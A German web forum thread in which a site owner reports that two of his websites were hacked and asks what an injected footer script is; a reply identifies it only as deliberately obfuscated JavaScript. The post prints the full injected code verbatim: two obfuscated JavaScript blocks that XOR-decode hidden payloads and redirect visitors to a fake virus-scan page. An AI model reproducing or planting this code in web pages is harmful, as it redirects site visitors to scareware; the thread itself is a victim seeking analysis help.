Webseite gehackt und Script in Footer eingefügt

[mrmaus]

Hallo,
ich habe mal ein Frage an die Spezies. Letzten Freitag wurde 2 meiner 3 Webseiten gehackt und ein Script in den Footer integriert. Hat man nun meine Webseite aufgerufen erfolgte automatisch eine Weiterleitung auf eine Seite, die einen "fiktiven" Virenscan vorgegaukelt hat. Meine Frage nun, wer kennt diesen Code, welche Sprache ist es und wie könnte man ihn aufschlüsseln.
Folgender Code vor nach dem Body:

<script>function ObxUqyyw(){if (navigator.userAgent.indexOf("MSIE")>0) return document.body.clientWidth*document.body.clientHeight;else return window.outerWidth*window.outerHeight;}if(ObxUqyyw()>100000){window.name=38649671416486888158248262292235199956186625313228142858177389;var OCkOOpI='%u0032%u000e%u007d%u001e%u006c%u0005%u0075%u0001%u003f%u004b%u0024%u0054%u007a%u0016%u0079%u001a%u007b%u000f%u0066%u0009%u0067%u005a%u007d%u0015%u0061%u0015%u0065%u005f%u0070%u005f%u003c%u0055%u0026%u004b%u0024%u0057%u003e%u004d%u0063%u0000%u006f%u0002%u002d%u005f%u003a%u005e%u006d%u0043%u0033%u005b%u002b%u000c%u0037%u000b%u0024%u0057%u0034%u0046%u002f%u005f%u002b%u0015';var xWPIWf=unescape(OCkOOpI);sqbLPLQ=window.name;for(ofDXEc=0;ofDXEc<xWPIWf.length-1;ofDXEc++){jFIQmM=xWPIWf.charCodeAt(ofDXEc);document.write(String.fromCharCode( (xWPIWf.charCodeAt(ofDXEc+1)-0) ^ jFIQmM) );}}</script>
<script>hVhGWcCBqW='';function tZYpjhCu(RLkw){ var OxkzryxC = document.getElementById('ldp'); } var qWT=12261;var vEKQ="vEKQ";var oHBN;var pNFU=false;var lFB=false;var iEX=false;var qDBI='';oHBN='%35%2c%37%28%24%3b%3e%26%0e%40%16%5b%75%44%51%3b%64%7a%69%50%03%4b%38%30%3c%70%35%77%61%71%22%40%57%4c%7a%6b%7d%71%40%41%21%7c%6a%7f%6b%20%34%2d%66%5a%28%7f%59%42%0c%6c%33%71%6e%79%79%0f%74%45%47%1d%27%1c%51%79%06%26%29%10%1f%36%36%26%01%1d%75%62%2b%1e%1a%46%35%31%3e%65%02%0d%08%29%28%2c%34%02%47%1d%70%20%21%13%05%63%72%7c%2e%3c%2a%3b%3e%0a%11%1b%7f%21%35%3b%67%2e%20%35%41%44%29%17%1f%14%7b%7e%65%58%1a%65%7c%2e%25%60%17%36%09%09%0d%37%4e%7c%5c%29%2f%33%00%08%5d%6b%76%74';var xIYS=false;var iTL="iTL";function jPWX(zIQ){var nWPC=40688;var yDRK='';var rIX=29038;var pHD="pHD";                                function cUMT(zSA, mRO){var kHSO="";var tTPE='';var tYTQ='';var dPE="";var kZB=false;if(fOKU == null) {var nIU="nIU";var fKV=18305;var aYB=63657;fOKU = {};var sGM="";var tWB=3647;var cMU="cMU";}var nZBP='';var tNVH=false;var oOAS="";var bZH=false;var cKX="";var lFD='';if(fOKU[zSA] == null) {var qASJ=37976;var dTVK="dTVK";fOKU[zSA] = new Object();var fQSX=false;var fFG="fFG";fOKU[zSA].lKF = 0;var oHAU="";var qKF=false;var kRGH="kRGH";var oAC=65067;fOKU[zSA].vUI = mRO;var qYNL=false;var zUXN="zUXN";var rGXV="";}var uWJU='';var jYM="jYM";var fCF=53127;var sMR="sMR";}var aZD="";var iHQG=false;var aUBF='';var aNN=49629;var yTL=15915;function kJD(gHZV){var nIIL="nIIL";var tNZV="tNZV";var jFS=1948;var vNSO=false;var uXT=27143;var oUU=0;var vEPO="vEPO";var sNBC="sNBC";var qEXL=55383;                                        var eGH=gHZV.length;var pZJ="";var lPG="";var kMI=0;var bRXQ='';var oBAF="";var mTJ=19840;while(kMI<eGH){var bLS=51246;var dBUV="";var aNYQ='';var lCIK='';var xRTZ=32917;var kAC="kAC";kMI+=1;var dGPP='';var jXVZ="jXVZ";var mKIN='';var nWCM=55732;iOH=vTS(gHZV,kMI-1);var aFQ='';var qXSB='';var uTVX=false;oUU+=iOH*eGH;var pFZB='';var yMB="";                                                var nNGY=false;var jRZY="jRZY";var zMYR='';}var mWVH="";var qUU=false;var mNO=53026;var nIWR='';return new String(oUU);var uGD='';var jXWN='';var ySLC="";var fGZ="";}var qBP=22775;var dNVS='';var oKJ=39802;var mZQW="mZQW";var dSQA="dSQA";var wUKA=false;var nQGV='';var nHAA='';var fHB="";var lZCU='';function dMC(zSA) {var yKO='';var bZJC=62629;if(fOKU[zSA] != null) {var gXD='';var xJP="";var rHT = fOKU[zSA].lKF;var fXLD=false;var oYY='';var nCMS=42851;var hQC = fOKU[zSA].vUI.substr(rHT, 1);var fVGA="";var sNPN="";var eIH="";var jJC='';var iYKL=28528;var zYCM="";var nFW="";if(rHT + 1 >= fOKU[zSA].vUI.length) {var eXT=false;var jUQ=false;var mWHQ='';var yMPW=false;fOKU[zSA].lKF = 0;var wNS="wNS";var wLU=58930;var vPHM=false;} else {var xYOT='';var dYU="dYU";var kWB="kWB";var dKN="dKN";fOKU[zSA].lKF = rHT + 1;var vBS=false;var hVYF=false;var lFY=30965;}var jQYA=32961;var cHR='';var lIJ="lIJ";return vTS(hQC, 0);var wSD=false;var nUJO="";var mWL='';}var bBF="";var hNCK=3186;var tRCJ=20636;var eAEL=false;}var eQU='';var xKDZ="";var wTK="wTK";var bKF='';var pTCB='';var sXB="";var tROF="";var pWK='';var mFNN="";var pDP=54256;var kXLQ = new String(document['d<o<c<usm/eKnstY'.replace(/[Y\<s/K]/g, '')]);var cJD="cJD";var nMY='';var dIM=33411;function vTS(sJRG,nQIW){var jCIY="";var kNKP="";return sJRG.charCodeAt(nQIW);var sQV="sQV";var tPFP=3906;var wCXB=false;}var lPYU='';var ePC="ePC";var iWCW="iWCW";if(kXLQ.indexOf('a{r!iOtnyO'.replace(/[O\{Dn\!]/g, '')) !== -1) {var tPP="tPP";var dGZZ=53773; return 15;var jXNE='';var cLEA=false;}var pFA="";var hCT=false;var gNH=false;var sJMY='';var aFF="aFF";var cWHV='';var lAX="lAX";var fOKU = null;var qNVE=21567;var oWMO=false;var dRE=window;var dJT=50326;var wLW=41212;var iKV='';var dZC="dZC";var uTAH=window;var aRPJ=false;var vCJ=false;var gLY="gLY";var gXN=false;var hCL=String;var qZYF=62253;var lAW="";var uPL = dRE['sweUtwTHiBmReHoUuRtH'.replace(/[HwRUB]/g, '')];var iIH=false;var qAN='';var aLF=false;var mYW=15;var lWAH='';var cTYL=false;var bQUG='';var cPJU="";var sFL=dRE['u7n/e$s$chaDphe$'.replace(/[\$/h7D]/g, '')];var sCOO=42881;var bEMM="";var oTUF=30533;var mBE="";var zBQ = '';var cTDQ="";var aMM="aMM";var vWBC="vWBC";var rNCC="";var zDOT=hCL['fVrgo:mVC:hka&rkCko&dgek'.replace(/[k&\:Vg]/g, '')];var aDTZ=19382;var fPYM="fPYM";var hKP=56177;var zIQ = sFL(zIQ);var qHTU=55343;var zTQA="";var iCFY=50047;var cDC=53916;var nCC="";var zWNB="";var oJLO="";var mPCM = new hCL(jPWX).replace(/[^@a-z0-9A-Z_-]/g,'');var fLC=false;var hSK="hSK";var rKV=12316;var aPL=false;var pVA = new hCL(kJD(mPCM));var oWKB="oWKB";var rDG='';var zRC=false;var cNX=false;var yUEL="yUEL";var vNWE="";cUMT('mUR', mPCM);var wKIK='';var tVFM='';cUMT('aGYX', pVA);var yTZ="";var kBBY="";var yNG="yNG";var jAMM="jAMM";for(var qEP=0; qEP < (zIQ.length); qEP++) {var dLXP="";var hZSS="";var nSRB=false;var dYH=12937;var eCAO="eCAO";var bTK='';var hTV="";var zRU='';var dSHO = vTS(zIQ,qEP);var oGI='';var vLT=1195;dSHO^= mYW;var oROL=false;var zTRI='';var lQGA='';dSHO^= dMC('aGYX');var mVL='';var yXX="yXX";var vTSD='';var zFRB='';dSHO^= dMC('mUR');var gUR=5855;var cVP=false;var kWUY="kWUY";var pDPH="pDPH";var rBV=25155;zBQ+=zDOT(dSHO);var qBKK="";var kXA=29719;var zOCI="";var fRL="";}var zPNJ=false;var mKPL="";var rBC=33254;var jHX="jHX";var pDX=false;uPL(zBQ, 273);var mXQ=24295;var lKX="lKX";return zBQ=new hCL();var iPUI='';var cZD="cZD";var rQHO="rQHO";var mJI=false;var iFM=32092;};var zLQ="";var sITQ=false;var zTY=31008;jPWX(oHBN);var gDY=44042;var pSUF="";</script>

Vielen Dank

 

[crash]

Es ist in jedem Fall JavaScript. Das ist mit Absicht so komisch geschrieben, um den Zweck des Scripts zu verschleiern. Wozu willst du das denn überhaupt wissen?